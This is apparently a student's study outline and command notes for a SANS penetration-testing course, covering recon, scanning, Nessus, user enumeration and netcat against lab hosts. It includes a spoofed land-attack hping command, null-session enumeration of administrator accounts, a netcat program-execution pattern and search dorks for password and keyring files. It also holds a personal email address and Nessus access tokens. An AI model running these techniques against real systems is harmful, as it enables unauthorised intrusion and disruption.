Table of Contents

Sans Security 560 Network Penetration Testing and Ethical Hacking

5/17/2010 through 5/22/2010

Application Confirmation

Your GIAC Certification Application submission has been completed successfully. Please include the following in all your e-mails if you should require help: Your portal e-mail address is steve.edwards@vt.edu and your SD Number is 875787. Thanks!

Exam Certification Objectives
Cain --4.111
Command Injection --5.150
Command Shell vs. Terminal Access --3.88
Cross Site Request Forgery --5.106
Cross Site Scripting --5.124
Enumerating Users --2.155
Exploitation Fundamentals
Finding Vulnerabilities with Search Engines --1.192
John the Ripper --4.90
Legal Issues --1.118
Metasploit --3.20
Moving Files with Exploits  --3.135
Network Sweeping and Tracing --2.20, 2.40
Nikto --5.79
Non-Metasploit Exploits 
Obtaining Password Hashes --4.175
OS and Version Detection --2.88
Paros --5.89
Pass-the-Hash Attacks --4.159
Password Attack Fundamentals --4.24
Password Formats --4.62
Password Guessing with THC-Hydra --4.48
Pen-testing Foundations 
Pen-testing Methodologies and Infrastructure --1.25 --1.31
Pen-testing Process --1.68
Pen-Testing via the Windows Command Line --3.147
Pen-testing with Netcat --2.168 3.125
Port Scanning --2.49
Rainbow Tables --4.133
Reconnaissance Foundations --1-132
Reconnaissance Using WHOIS and DNS --1-136
Reporting the Results --1.103
Running Windows Commands Remotely --4.3
Scanning Fundamentals --2.3
SQL Injection --5.162
Vulnerability Scanning --2.109
Web-based Reconnaissance
Wireless Crypto and Client Attacks --5.37 --5.64
Wireless Fundamentals --5.3

Day 1 Planning, Scoping, and Recon

Planning, Scoping, and Recon ..1.1

Defining Terms ..1.6

Threat vs Vulnerability vs Risk ..1.7

Hacks, Tests, Assessments, and Audits ..1.8

Ethical Hacking Definition ..1.9

Penetration Testing ..1.10

Security Assessments ..1.11

Security Audits ..1.12

Motivation ..1.13

Why Ethical hacking and Penetration Testing? ..1.14

Addressing Discovered Vulnerabilities ..1.15

Types of Pen Tests ..1.16

Types of Ethical Hacking and Penetration Tests ..1.17

Additional Test Types ..1.18

The Phases of an Attack ..1.19

Limitations of Pen Testing ..1.20

Limitations of Penetration Testing and Ethical Hacking ..1.21

Additional Limitations ..1.22

Other Approaches to Finding Security Vulnerabilities ..1.23

So, Why Pen Testing and Ethical Hacking? ..1.24

Free Testing and Methodologies ..1.25

Public/Free Testing Methodologies ..1.26

Open Source Security Testing Methodology Manual (OSSTMM) ..1.27

NIST Guideline on Network Security Testing ..1.28

OWAP Testing Guide ..1.29

Penetration Testing Framework ..1.30

Building an Infrastructure ..1.31

Building an Infrastructure for Ethical Hacking ..1.32

Linux vs. Windows ..1.33

Software for Testing – Pre-packaged Testing Suites ..1.34

Other Free Software Tools ..1.35

Some Sources for Free Tools and Exploits ..1.36

Vulnerability Research Sources ..1.37

Commercial Tools ..1.38

In-House Developed Tools ..1.39

Hardware: A Note on Nomenclature ..1.40

Hardware: A Laboratory for Analyzing Tools ..1.41

Hardware: System Used for Testing ..1.42

Virtualizing the Testing Machines ..1.43

Network Infrastructure – ISP ..1.44

Testing network Infrastructure – Firewall Concerns ..1.45

Avoid Firewall on Testing Network ..1.46

Harden Testing Systems Carefully ..1.47

Encrypt Test Machine File Systems ..1.48

Scrub Test Machines of Results Between Tests ..1.49

Linux shred overwrites files with alternating zeros and ones to delete them

# shred

On Windows, cipher shreds unallocated space of the partition of which the directory resides, it does not overwrite the directory or contents.

c:\> cipher /w:<dir name>

dban

Journaling files system is not removed with the tools. Using the machine a couple of days will wipe it out.

Course DVD and Targets ..1.50

Course DVD Overview ..1.51

Course DVD Issues ..1.52

Network Setup ..1.53

Target Environment Overview ..1.54

Ground Rules for labs ..1.55

Networking Host and Guest ..1.56

Bridged vs. Host-Only ..1.57

Host IP Addresses ..1.58

Six Phases to Set Up This Network Scheme ..1.59

1 Put Vmnet1 on 10.10.0.0 Subnet ..1.60

Finishing Step 1 Addressing a Small Bug in Vmware ..1.61

Step 2 Set Guest Network Settings ..1.62

Remember for Exercises ..1.65

Practicing – Bridged Networking ..1.66

Practicing – Host-Only Networking ..1.67

Overall Process ..1.68

Overall Penetration Testing Process ..1.69

Permission Memo ..1.70

Pen Test Companies – Limitation of Liability and Insurance ..1.71

Rules of Engagement ..1.72

Rules of Engagement vs. Project Scope ..1.73

Rules of Engagement ..1.74

Important Stuff Not Included in the Rules of Engagement ..1.75

Contact information ..1.76

Daily Debriefing ..1.77

Dates and Time of Day ..1.78

Announced vs. Unannounced Tests ..1.79

Dealing with the Shunning of Pen Test Traffic ..1.80

Black Box vs. Crystal Box Testing ..1.81

Viewing Data on Compromised Systems ..1.82

Finalizing Pen Test Planning ..1.83

Scoping ..1.84

Scoping – What are the Concerns? ..1.85

Scoping – Avoiding Scope Creep ..1.86

Setting the Scope – What to Test? ..1.87

Scope of Test – Third Parties ..1.88

Pen Testing The Cloud ..1.89

Test vs. Production Environments ..1.90

Setting the Scope – How to Test ..1.91

Internal and Pseudo-internal Access ..1.92

Social Engineering Tests or Not? ..1.93

Conducting Social Engineering Tests ..1.94

Denial of Service ..1.95

“Dangerous” Exploits ..1.96

Scoping Exercise ..1.97

Exercise: Scoping and Rules of Engagement ..1.98

The RFP ..1.99

Important Scenario Objectives ..1.100

Preparing ..1.101

Exercise Debrief ..1.102

Reporting ..1.103

Always Create a Report ..1.104

Don't just Regurgitate Vuln Scan Results ..1.105

1 Executive Summary ..1.107-108

Recommendations ..1.112-113

Screenshot Elements ..1.115

Computer Crime Laws ..1.119

Countries We'll Analyze ..1.120

Cyber Crime Laws in the US ..1.121-122

Cyber Crime Laws in Canada ..1.123

Cyber Crime Laws in the United Kingdom ..1.124

Cyber Crime Laws in Germany ..1.125-126

Cyber Crime Laws in Australia ..1.127

Cyber Crime Laws in Japan ..1.128

Cyber Crime Laws in Singapore ..1.129

Cyber Crime Laws In Summary ..1.130

Reconnaissance ..1.131

Overview of Recon ..1.132

Reconnaissance ..1.133

Maintain Inventory ..1.134

Target IP AddressTarget NameTarget OSHow DiscoveredListening PortsKnown VulnsAdmin Accts/PasswdsOther Accts/PasswrdsMisc Notes

Inventory – How Discovered ..1.135

Whois Lookups – Registrars, ARIN, ASNs, etc. ..1.136

Whois Searches ..1.137

Whois Web-based Results ..1.138

Whois at the Command Line ..1.139

whois [-h whis_server] name

Whois Results ..1.140

IP Address Assignment Whois Databases ..1.141

ARIN Lookup ..1.142

Sample ARIN Lookups: n and a ..1.143

n microsoft
a microsoft

Sample ARIN Lookups ..1.144

p microsoft
@ microsoft.com

Web Site Searches ..1.145

Gather Competitive Intelligence ..1.146

Look for Open Job Requisitions ..1.147

Searching for Relevant People ..1.148

phonebook:[name] [state]

Mining Social Network Sites ..1.149

Document Metadata Analysis ..1.150

Document Metadata ..1.151

Document Types that Are Rich in Metadata ..1.152

Retrieving Documents for Metadata Analysis ..1.153

Tools for Analyzing Document Metadata ..1.154

ExifTool ..1.155

Strings Command Details ..1.156

Metadata Exercise ..1.157

Exercise: Metadata ..1.158

How the Files Were Retrieved ..1.159

wget -nd -r -R htm,html,php,asp,aspx,cgi -P /home/tools/560metadata_ex [target_domain]
wget -nd -r -A pdf,doc,docx,cls,xlsx -P /home/tools/560metadata_ex [target_domain]

Exiftool Metadata Extraction and Analysis ..1.160

# cp /home/tools/560metadata_ex/Widget* /tmp
# exiftool [filename]

Exiftool Metadata ..1.161

# exiftool WidgetStatisticalAnalysis.xls
# exiftool WidgetStatisticalWhitepaper.doc
# exiftool WidgetStatisticalWhitepaper.pdf

Strings Metadata ..1.167

# strings [filename]

Strings Metadata ..1.168-174

# strings WidgetStatisticalAnalysis.xls
# strings WidgetStatisticalWhitepaper.doc
# strings WidgetStatisticalWhitepaper.pdf
# strings -e l WidgetStatisticalAnalysis.xls |grep '\\'
# strings -e b WidgetStatisticalAnalysis.xls |grep '\\'

DNS Lookups – Nslookup, etc. ..1.175

Querying DNS Servers ..1.176

The nslookup command ..1.177

nslookup www.sans.org
nslookup
> www.sans.org

Using nslookup Interactively ..1.178

> [name or IP addr]
> server [serverIPaddr or name]
> set type=any
> ls -d [target_domain]
> ls -d [target_domain] [> filename]
> view [filename]

Nslookup Recurse vs. Norecurse ..1.179

> set norecurse
> set recurse

The dig command ..1.180

dig @[server] [name] [type]

-t specifies zone transfer

-t AXFR

-t IXFR=N

+norecursive
+recursive

The dig Command Performing Zone Transfer ..1.181

dig @10.10.10.45 target.tgt -t AXFR

DNS Query Websites ..1.182

Additional Recon Tools: Sensepost's BiLE ..1.183

The BiLE.pl Script ..1.184

$ ./BiLE [target] [results_file]

The BiLE-weigh.pl Script ..1.185

$ ./BiLE-weigh.pl [site_of_interest] [BiLE_output.mine]

The tld-expand.pl and vet-IPrange.pl Scripts ..1.186

The qtrace.pl and vet-mx.pl Scripts ..1.187

The Jarf-rev and Jarf-dnsbrute Scripts ..1.188

Recon with Maltego ..1.189

Maltego for Pen Testers ..1.190

Using maltego ..1.191

Search Engin Vuln-Finding ..1.192

site:www.counterhack.net wireless
link:www.counterhack.net
related:insecure.org

Useful Google Search Directives – Page Titles and URLs ..1.194

intitle:index.of passwd
inurl:viewtopic.php

Searching for File Types ..1.195

site:counterhack.net filetype:ppt
site:counterhack.net etc:ppt

more general:

site:counterhack.net ppt

Inventory of Discoverable Flaws Via Google ..1.196

johnny.ihackstuff.com

Some Intersting Samples from the GHDB .1.197

intitle:index.of intext:”secring.skr”|”secring.pgp”|”secring.bak”
site:somethinginteresting intitle:index.of bash_history
robots.txt disallow filetype:txt
intitle:”Nessus Scan Report” “This file was generated by Nessus”

Automated Google Search Tools ..1.198

Finishing the Recon Phase ..1.199

Day 2

Scanning Goals and Types ..2.3

Goals of Scanning Phase ..2.4

Scan Types ..2.5

Workflow of Scanning Phase ..2.6

Overall Scanning Tips ..2.7

Scanning Tip: Usually Scan Target IP Address, Not Name ..2.8

Tip: Dealing with Very Large Scans ..2.9

Tip: Handling Large Scans by Limiting Scope ..2.10-11

Tip: Handling Large Scans by Speeding up ..2.12-13

Sniffing with tcpdump ..2.14

Scanning Tip: While Scanning, Run a Sniffer ..2.15

Scanning Tip: Use tcpdump ..2.16

Tip: Helpful tcpdump Options to Use While Scanning ..2.17

$ sudo tcpdump
  -n: use numbers instead of names for machines
  -nn: Use numbers instead of names for machines and ports
  -i [int]: Sniff on a particular interface (-D lists interfaces)
    -D shows a list of interfaces
  -v: Be verbose (print TTL, IP ID, Total Length, IP options, etc.)
    -v and -vv show even more information
  -w: Dump packets to a file 9use -r to read file later)
  -x: Print hex
  -X: Print hex and ASCII
  -A: Print ASCII (Doesn't work in all versions, consider -X instead)
  -s [snaplen]: Snarf this many bytes from each packet, instead of the default of 68 for most Oss, -s grabs entire packets

Tip: Helpful tcpdump Expressions to Use While Scanning ..2.18

ether
ip
ip6
arp
rarp
tcp
udp

host [host]

net [network]
port [portnum]
portrange [start-end]

src: only packets from that host or port

dst: only packets to that host

Tip: Some Quick Usage Examples ..2.19

tcpdump -nnX tcp and dst 10.10.10.10
tcpdump -nn uds and src 10.10.10.10
tcpdump -nn tcp and port 80 and host 10.10.10.10

Network Sweeping ..2.20

Network Sweeping with Hping ..2.21

hping3 10.10.10.20

Hping Protocol Selection ..2.22

--udp: send UDP packets
--icmp: send ICMP packets
--rawip: send raw IP packets, with no TCP or UDP component

# hping3 --rawip 10.10.10.20

Setting TCP Control Bits ..2.23

--syn
--fin
--rst
--push
--ack
--urg

Hping target Selection ..2.24

--rand-dest IP_addr

--interface [Int]

# hping3 --rand-dest 10.10.10.x --interface eth0

Hping source Selection ..2.25

hping3 –spoof 10.10.10.10 10.10.10.20

--rand-source

Hping Port Selection ..2.26

--destport [port]

--scan [port_range/list]

--baseport [port]

--keep

Hping: Some Helpful Options ..2.27

--count [N]

--beep

--file [filename]

--data [N]

Hping: Speed Options ..2.28

--fast

--faster

--flood

--interval [N]
--interval u[N]

Using Hping to Iterate through an Address Space ..2.29

for i in `seq 2 254`; do hping3 --count 1 10.11.11.$i; done
for i in `seq 2 254`; do hping3 --count 1 10.11.11.$i 2>/dev/null | grep ip=; done

Hping/tcpdump Exercise ..2.30

Exercise: Hping and tcpdump ..2.31

1 Default Hping Behavior ..2.32

1 One Possible Answer ..2.33

hping3 10.10.10.20
tcpdump -nn host [yourLinuxIPaddr] and host 10.10.10.20

2 Ping and Ping with Payload ..2.34

Create a file containing some text

# echo helohelohelo > test.txt
* Use hping to send that file to the target via ICMP Echo Request payloads
View the payloads in the responses... it truly is an echo

2 One Possible Answer ..2.35

tcpdump -nnX icmp
hping3 –icmp –data 40 –file test.txt 10.10.10.20

3 Land Attack ..2.36

3 One Possible Answer ..2.37

hping3 –-count 1 –-baseport 80 –-destport 80 –-syn –-spoof 10.10.10.20 10.10.10.20

4 using Hping –beep to Verify Connectivity

echo -e “\x07”

4 One Possible Answer ..2.39

hping2 –icmp –interval 10 –beep 10.10.10.20

Network Tracing ..2.40

The IP Header and TTL Field ..2.41

Byte1Byte2Byte3Byte4Byte5Byte6Byte7Byte8
Vers Hlen Service Type Total Length
Identification Flags Fragment Offset
Time To Live Protocol Header Checksum
Source IP Address
Destination IP Address
IP Options Padding
Data
….

Traceroute ..2.42

Linux/Unix Traceroute ..2.43

-f[N]: set initial TTL for the first packet
-g [hostlist]: Specify a loose source route (8 maximum hops)
-I: Use ICMP Echo Request instead of UDP
-m [N]: Set the maximum number of hops
-n: Print numbers instead of names
-p [port]: Set the base UDP port (default base is 33434, which is incremented for first packet, and for each subsequent packet, with each hop measured three times)
-w [N]: Wait for N seconds before giving up and writing * (default is 5)

Linux/Unix Traceroute Example ..2.44

tcpdump -v -nn udp
traceroute -n 64.112.229.131

Windows Tracert ..2.45

-d: Don't resolve names
-h [N]: Maximum number of hops (default is 30)
-j [hostlist]: Use loose source routing, with a space-separated list of router IP addresses (up to 9 max) -w [N]: Wait for N milliseconds before giving up and writing a * (default is 4000)

Other Traceroute Tools ..2.46

Layer Four Traceroute (LFT) ..2.47

Web-Based Traceroute Services ..2.48

Port Scanning ..2.49

TCP vs. UDP ..2.50

TCP Header ..2.51

Byte0a Byte0b Byte1a Byte1b Byte2a Byte2b Byte3a Byte3b
Source Port Destination Port
Sequence Number
Acknowledgement Number
HlenRSVDControl Bits Window
Checksum Urgent Pointer
TCP Options (if any) Padding
Data
…..

TCP Control Bits ..2.52

CWR ECE URG ACK PSH RST SYN FIN
RFC 3168

TCP Three-Way handshake ..2.53

Scanning TCP Ports ..2.54

TCP Behavior while Port Scanning ..2.55-56

Results of Different TCP Behaviors ..2.57

UDP Header ..2.58

Source Port Destination Port
UDP Message Length UDP Checksum
Data
…..

Scanning UDP Ports ..2.59

UDP Behavior while Port Scanning ..2.60-61

Nmap ..2.62

Nmap Port Scanner ..2.63

Nmap Usability Features: --packet-trace Option ..2.64

nmap -PN -sS 10.10.0.1 -p 1-1024 –packet-trace

Nmap usability Features – Runtime Interaction ..2.65

Controlling Scan Speeds with Nmap's Timing Options ..2.66

Finer-Grained Nmap Timing Options ..2.67

Nmap and Address Probing ..2.68

Nmap and Network Sweeping ..2.69

nmap -sP [options]

Nmap Network Sweeping Options ..2.70

Nmap and Traceroute ..2.71-72

Nmap port scanning ..2.73

Nmap TCP Port Scan Types: Connect Scan ..2.74

Nmap TCP Port Scan Types: SYN Scan ..2.75

Additional Nmap TCP Scan Options ..2.76

Custom Control Bits in Scans ..2.77

nmap –scanflags SYNPSHACK -p 139 10.10.10.10

Nmap UDP Scans ..2.78

Nmap Feature - --badsum scans ..2.79

Nmap Exercise ..2.80

Exercise: Nmap ARP Scan and Run-Time Interation ..2.81

# nmap -n -sP 10.10.10.10.1-255 --packet-trace

Nmap - Specifying Port Range ..2.82

# tcpdump -nn host 10.10.10.50
# nmap -n sT 10.10.10.50
# nmap -n -sT 10.10.10.50 -p 1-65535

Scanning Port 0 and Lists of Ports ..2.83

# nmap -n -sT 10.10.10.50 -p 0
# nmap -n -sT 10.10.10.50 -p 21,22,23,25,80,135,443,6000
# gedit /usr/share/nmap/nmap-services

Nmap UDP Port Scan ..2.84

# nmap -n -sU 10.10.10.50
# nmap -n -sU 10.10.10.50 -p 53,111,414,500-501

The --reason Option and Scanning TCP and UDP ..2.85

# nmap -n -sU 10.10.10.50 -p 53,111,414,500-501 --reason
# nmap -n -sT -sU 10.10.10.50 -p 21-25 --reason

Exercise: Nmap with Good Checksum and Bad Checksum ..2.86

# nmap -n -sS 10.10.10.10
# nmap -n -sS 10.10.10.10 --badsum

Exercise: Nmap Checksums and Timing ..2.87

# tcpdump -nn host 10.10.10.10
# nmap -n -sS 10.10.10.10
# nmap -n -sS 10.10.10.10 --badsum

OS Fingerprinting ..2.88

Nmap Active OS Fingerprinting ..2.89

Nmap OS Fingerprinting Capability ..2.90

Tests Included in Nmap Second Gen OS Fingerprinting ..2.91

Tests included in Nmap First Gen OS Fingerprinting ..2.92

Version Scanning ..2.93

Version Scanning ..2.94

nmap Version Scanning Functionality ..2.95

Other Version Scanning and information Gathering Tools ..2.96

nmap -O -sV and Amap Exercises ..2.97

Exercise: Nmap OS Fingerprinting ..2.98

# tcpdump -nn host [YourLinuxIPaddr] and net 10.10.10

Nmap Scan and OS Fingerprint ..2.99

# nmap -n -O -sT -p 1-1024 10.10.10.1-255

Nmap Version Scan ..2.100

# nmap -n -sV -p 1-150 10.10.10.10

Amp Version Scan ..2.102

/usr/etc/appdefs.trig

/usr/etc/appdefs.resp

Running Amap ..2.103

# amap -qv 10.10.10.10 1-150
# amap -bqv 10.10.10.10 1-150

Investigating the Different Ports ..2.107

# tcpdump -nn tcp and host [YourLinuxIPaddr] and net 10.10.10
# hping3 --count 6 --destport ++130 --syn 10.10.10.20

Port Behavior ..2.108

Vulnerability Scanning ..2.109

Methods for Discovering Vulnerabilities ..2.110-111

  1. Check Software version number
    • compensating controls might block exploitation (network- or host-based IPS, etc.)
  2. Check protocol version number spoken
  3. Look at its behavior - somewhat invasive
  4. Check its configuration - more invasive
    • requires access to target
    • Or, requires configuration documentation from target environment personnel
  5. Run exploit against it - potentially dangerous, but potentially very useful
    • Successful exploit shows the vulnerability is present
    • Helps Lower false positives
      • Note that failed exploit does not indicate that the system is secure!

Nmap Version Scan and Amp as Vulnerability Scanners ..2.112

Nmap Scripting Engine ..2.113

Nmap Scripting Engine ..2.114

Nmap Scripting Engine Scripts 2.115

# nmap -sC [target] -p [ports]

# nmap –script=[all,category,dir,script…] [target] -p [ports]

NSE Script Categories ..2.116

Some Example NSE Scripts ..2.117

# grep safe /usr/share/nmap/scripts/script.db or

# grep safe /usr/local/share/nmap/scripts/script.db

# grep intrusive /usr/share/nmap/scripts/script.db or

# grep intrusive /usr/local/share/nmap/scripts/script.db

NSE Exercise ..2.118

NSE Exercise ..2.119

cd /usr/share/nmap/scripts/script.db

or if from compiled version:

cd /usr/local/share/nmap/scripts/script.db
gedit script.db
cat script.db |grep safe |wc -l
cat script.db |grep discov |wc -l
cat script.db |grep intrusive |wc -l

NSE robots.txt.nse Script ..2.120

nmap -n –script=robots.txt.nse 10.10.10.60 -p 80

Getting robots.txt with wget ..2.121

wget 10.10.10.60/robots.txt * pull robots.txt from all our machines

# nmap -n --script=robots.txt.nse 10.10.10.1-255 -p 80

NSE Exercise – win nbtstat vs. nmap nbstat ..2.122-123

C:\> nbtstat -A 10.10.10.10
# tcpdump -nn host 10.10.10.10
# nmap -n --script=nbstat.nse 10.10.10.10

To avoid the scan of all 1000 ports:

# nmap -n -sU -p U:137,138 --script=nbstat.nse 192.168.1.102

NSE Exercise –SSHv1 Support? ..2.124

# nmap -n --script=sshv1.nse --script-trace 10.10.10.60 -p 22

Looking at the sshv1.nse Script ..2.125

# gedit /usr/share/nmap/scripts/sshv1.nse
# gedit /etc/ssh/sshd_config
Port 23
killall -HUP sshd
# lsof -Pi |grep 23

NSE Scripts Without and with Version Scans ..2.126

# nmap -n --script=sshv1.nse 127.0.0.1
# nmap -n -sV --script=sshv1.nse 127.0.0.1

The Point? ..2.127

Nessus ..2.128

Tenable Network Security's Nessus Vulnerability Scanner ..2.129

Nessus Architecture ..2.130

Update Plugins Regularly ..2.131

# nessus-fetch --register [serial]
# nessus-update-plugins

Updating Nessus Offline and Keeping an Eye on New Plugins ..2.132

Record Plugin Feed Info Before Starting a Test ..2.133

C:\> type "c:\Program Files\Tenable\Nessus\plugins\plugin_feed_info.inc
# cat /usr/local/lib/nessus/plugins/plugin_feed_info.inc

Nessus and Dangerous Plugins ..2.134

Nessus Results ..2.135

Nessus Exercise ..2.136

Thank you. You can now obtain the newest Nessus plugins at :
http://plugins.nessus.org/get.php?f=all-2.0.tar.gz&u=ae76eef133f752687de5b1c223184a81&p=1c503d053fe6d4adae4fc213ac2321f9

You also need to copy the following file to :

    * /opt/nessus/etc/nessus/nessus-fetch.rc (Unix)
    * C:\Program Files\Tenable\Nessus\Conf (Windows)


nessus-fetch.rc

Nessus Exercise ..2.137

nessusd -D
nessus &

for version 4:

/opt/nessus/sbin# nessus-service -D

Looking at Plugins ..2.139

Counting Danerous Plugins ..2.139

grep -r -m 1 ACT_DENIAL /usr/local/lib/nessus/plugins |wc -l
grep -r -m 1 ACT_DENIAL /usr/local/lib/nessus/plugins
C:\> cd "c:\Program Files\Tenable\Nessus\plugins\scripts
C:\> findstr ACT_DENIAL *

Looking at Credentials ..2.140

Looking at Scan Options ..2.141

gedit /usr/local/var/nessus/nessus-services

Looking at Port Scanner Options ..2.142

Setting Targets ..2.143

10.10.10.50-60
* zone transfers are not recommended because it may test machines outside scope

Looking at Preferences ..2.144

Conducting a Scan ..2.145

tcpdump -nn net 10.10.10

Review Results ..2.146

Report Formats ..2.147

Other Vuln Scanners ..2.148

Other Vulnerability Scanning Tools ..2.149

Commercial solutions
Scanning services /appliances
Free Solutions

BiDiBLAH Suite ..2.150

BiDiBLAH-style Recon ..2.151

BiDiBLAH-style Scan ..2.152

BiDiBLAH-style Targeting and Vuln Scan ..2.153

BiDiBLAH-Style Exploitation ..2.154

Enumerating users ..2.155

Methods for Getting Account Names ..2.156

Methods for Pulling Account Names from Linux/Unix and Windows ..2.157

cat /etc/passwd
finger
who
w
finger @[targetIP]  (but usually turned off)
ypcat passwd
ypcat group
ldapsearch [criteria]

Windows: Pulling Account Names via Null Sessions ..2.158

C:\> net use \\[targetIP] "" /u:""
HKLM\System\CurrentControlSet\Conrtol\Lsa\RestrictAnonymous = 0 (the default)
HKLM\System\CurrentControlSet\Conrtol\Lsa\RestrictAnonymousSAM = 0 (not the default)

Tools for Pulling Account Names via Null Sessions ..2.159

C:\> enum -U [targetIP]
C:\> enum -G [targetIP]

Enumerating SID's ..2.160

Sid2user and User2sid ..2.161

Allow anonymous SID/Name Translation

Using User2sid and Sid2user ..2.162

C:\> net use \\[targetIP] "" /u:""
C:\> user2sid \\[targetIP] [machine_name] (or guest)
C:\> for /L %i in (1000,1,1010) do @sid2user \\[targetIP] [SID without RID] %i

Enumerating Exercise ..2.163

Preparing Enum ..2.164

Running Enum ..2.165

Change to the enum directory:

C:\> cd c:\tools\enum

Verify that you are in a directory with enum.exe:

C:\> dir

Now, run enum against 10.10.10.10 configured to extract users:

C:\> enum -U 10.10.10.10

Then, run it to extract groups:

C:\> enum -G 10.10.10.10

Finally, get password policy information:

C:\> enum -P 10.10.10.10

Preparing Sid2user and User2sid ..2.166-167

Change to sid directory:

C:\> cd c:\tools\sid

Now invoke the sid2user tool without any options, and read its usage information:

C:\> sid2user.exe

Can run the tool with remote computer name [\\computer_name]. Elements of sid sparated by spaces

First, start a null session:

C:\> net use \\10.10.10.10 "" /u:""

Then run User2sid command to determine overall domain/computer component of the SID by providing it with hostname of target (we could get hostname from an nslookup or ping -a):

C:\> user2sid \\10.10.10.10 trinity

Then, find out the administrators name:

C:\> sid2user \\10.10.10.10 [domain number, starting with 5 followed by a space, followed by 21, followed by space, followed by 3 sets of digits] 500

Don't forget the 500 at the end to specify the administrator's SID

Then, enumerate users, starting at 1000 and going up through 1010:

C:\> for /L %i in (1000,1,1010) do @sid2user \\10.10.10.10 [5 followed by space, followed by 21, followed by space, followed by 3 sets of digits separated by spaces] %i

Netcat for the Pen Tester ..2.168

Netcat for the Pen Tester ..2.169

nc [options] < [file]

or piped from another program

[program] | nc [options]
nc [options] > [file]

or sent to another program's output

nc [options] | [program]

also

nc -e [program]

Netcat Command Flags ..2.170

nc [options] [targetIP] [remote_port(s)]

Some Netcat Uses for Penetration Testers and Ethical Hackers ..2.171

Some Netcat Uses: Netcat Client Grabbing Service info ..2.172

$ nc [targetIP] [remote_port]
HEAD / HTTP/1.0, followed by Enter Enter

Automating Service String Info Gathering ..2.173

$ echo "" | nc -v -n -w1 [targetIP] [port-range]
$ echo "" | nc -v -n -w1 10.10.10.10 1-100

Netcat Listener Grabbing Client Info ..2.174

$ nc -v -l -p [local_port]

Netcat for a “Service-is-Alive” Heartbeat ..2.175

$ while (true); do nc -vv -z -w3 [targetIP] [target_port] > /dev/null && echo -e "\x07"; sleep 1; done

or

$ while : ; do ...

Netcat for a “Service-is-Dead” Notification ..2.176

$ while `nc -vv -z -w3 [targetIP] [target_port] > /dev/null` ; do echo "Service is ok"; sleep 1; done; echo "Service is dead"; echo -e "\x07"
while (true); do echo -e "\x07"; done

Netcat Exercise ..2.177

Playing with Netcat Clients and Listeners ..2.178

# nc -l -p 5555
C:\> c:\tools\nc.exe [YourLinuxIPaddr] 5555
# service iptables stop

Manual Service Connection String Grabbing ..2.179

# nc -v -n 127.0.0.1 25
# nc -v -n localhost 25

The latter will not work because?

# nc -v -n 10.10.10.10 25
# nc -v -n 127.0.0.1 22
# nc -v -n 10.10.10.60 22
# nc -v -n 10.10.10.60 80
HEAD / HTTP/1.0 (Followed by Enter Enter)

Exercise: Netcat Port Scan and Service Info Grabbing ..2.180

# nc -v -n -z -w1 10.10.10.60 20-80
# echo "" | nc -v -n -w1 10.10.10.60 20-80
# nc -v -n -w1 10.10.10.60 20-80

output without port range, but different data options:

steve@independence ~ $ nc -vv -n -z 127.0.0.1 32777
(UNKNOWN) [127.0.0.1] 32777 (?) open
 sent 0, rcvd 0
steve@independence ~ $ nc -vv -n 127.0.0.1 32777
(UNKNOWN) [127.0.0.1] 32777 (?) open
SSH-2.0-OpenSSH_5.1
                                  < hit enter here
Protocol mismatch.
 sent 1, rcvd 40
steve@independence ~ $ echo "" | nc -vv -n 127.0.0.1 32777
(UNKNOWN) [127.0.0.1] 32777 (?) open
SSH-2.0-OpenSSH_5.1
Protocol mismatch.
 sent 1, rcvd 40
steve@independence ~ $ echo "" | nc -vv -n 127.0.0.1 32777 > /dev/null
(UNKNOWN) [127.0.0.1] 32777 (?) open
 sent 1, rcvd 40
steve@independence ~ $ echo "" | nc -vv -n 127.0.0.1 32777 2> /dev/null
SSH-2.0-OpenSSH_5.1
Protocol mismatch.
steve@independence ~ $ 

Then with port ranges:

steve@steve-thinkpad:~$ nc -v -n -z 192.168.1.10 32775-32778
nc: connect to 192.168.1.10 port 32775 (tcp) failed: Connection refused
nc: connect to 192.168.1.10 port 32776 (tcp) failed: Connection refused
Connection to 192.168.1.10 32777 port [tcp/*] succeeded!
nc: connect to 192.168.1.10 port 32778 (tcp) failed: Connection refused
steve@steve-thinkpad:~$ echo "" | nc -v -n 192.168.1.10 32775-32778
nc: connect to 192.168.1.10 port 32775 (tcp) failed: Connection refused
nc: connect to 192.168.1.10 port 32776 (tcp) failed: Connection refused
Connection to 192.168.1.10 32777 port [tcp/*] succeeded!
steve@steve-thinkpad:~$ nc -v -n 192.168.1.10 32775-32778
nc: connect to 192.168.1.10 port 32775 (tcp) failed: Connection refused
nc: connect to 192.168.1.10 port 32776 (tcp) failed: Connection refused
Connection to 192.168.1.10 32777 port [tcp/*] succeeded!
SSH-2.0-OpenSSH_5.1

Protocol mismatch.
nc: connect to 192.168.1.10 port 32778 (tcp) failed: Connection refused
steve@steve-thinkpad:~$ 

Notice: the second test does not complete

Grabbing Client Connection Strings ..2.181

# nc -v -n -l -p 80
# mozilla &
[IPaddr]:[port]

Exercise: "Service-is-Alive" Heartbeat ..2.182

# netstat -nat | grep 25
# while (true); do nc -vv -z -w3 127.0.0.1 25 > /dev/null && echo -e "\x07"; sleep 1; done
# service sendmail stop
# service sendmail start
# killall -9 nc

Exercise: "Service-is-Dead" Alert ..2.183

# netstat -nat | grep 25
$ while `nc -vv -z -w3 127.0.0.1 25 > /dev/null` ; do echo "Service is ok"; sleep 1; done; echo "Service is dead"; while (true); do echo -e "\x07"; done
# service stop sendmail

Day 3

Why Exploitation ..3.3

What is Exploitation? ..3.4

Why Exploitation ..3.5

Risks of Exploitation ..3.6

Exploit Categories ..3.7

Categories of Exploits ..3.8

Service-Side Exploits ..3.9

Notable Windows Service-Side Exploits ..3.10

Notable Linux and Unix Service-Side Exploits ..3.11

Client-Side Exploits ..3.12

Notable Client-Side Exploits ..3.13

Determining Client-Side Programs In Use ..3.14

Client-Side Software inventory Tools ..3.15

C:\> dir /s "c:\Program Files" > inventory.txt

Making Client Software Access Testing Systems ..3.16

C:\> c:\windows\ie7\iexplore.exe www.testmachine.org
C:\> "c:\Program Files\Mozilla Firefox"\firefox.exe www.testmachine.org
social engineering toolkit – works with metasploit

Use Appropriate Client Machines ..3.17

Local Privilege Escalation Exploits ..3.18

Local Privilege Escalation Attack Categories ..3.19

Metasploit ..3.20

Metasploit Exploitation Framework ..3.21

The Metasploit Arsenal .3.22

Metasploit Versions ..3.23

A Guided Tour of Metasploit ..3.24

# cd /home/tools/framework-[version]
# ./msfconsole
msf> show exploits
msf> show payloads

Looking at MSF Components via the File System ..3.25

Useful Metasploit User Interfaces ..3.26

Other Metasploit user Interfaces ..3.27

Metasploit Modules – Exploits ..3.28

cd /home/tools/framework-3.3.3/modules
ls

The Metasploit Arsenal ..3.29

cd /home/tools/framework-3.3.3/modules/exploits
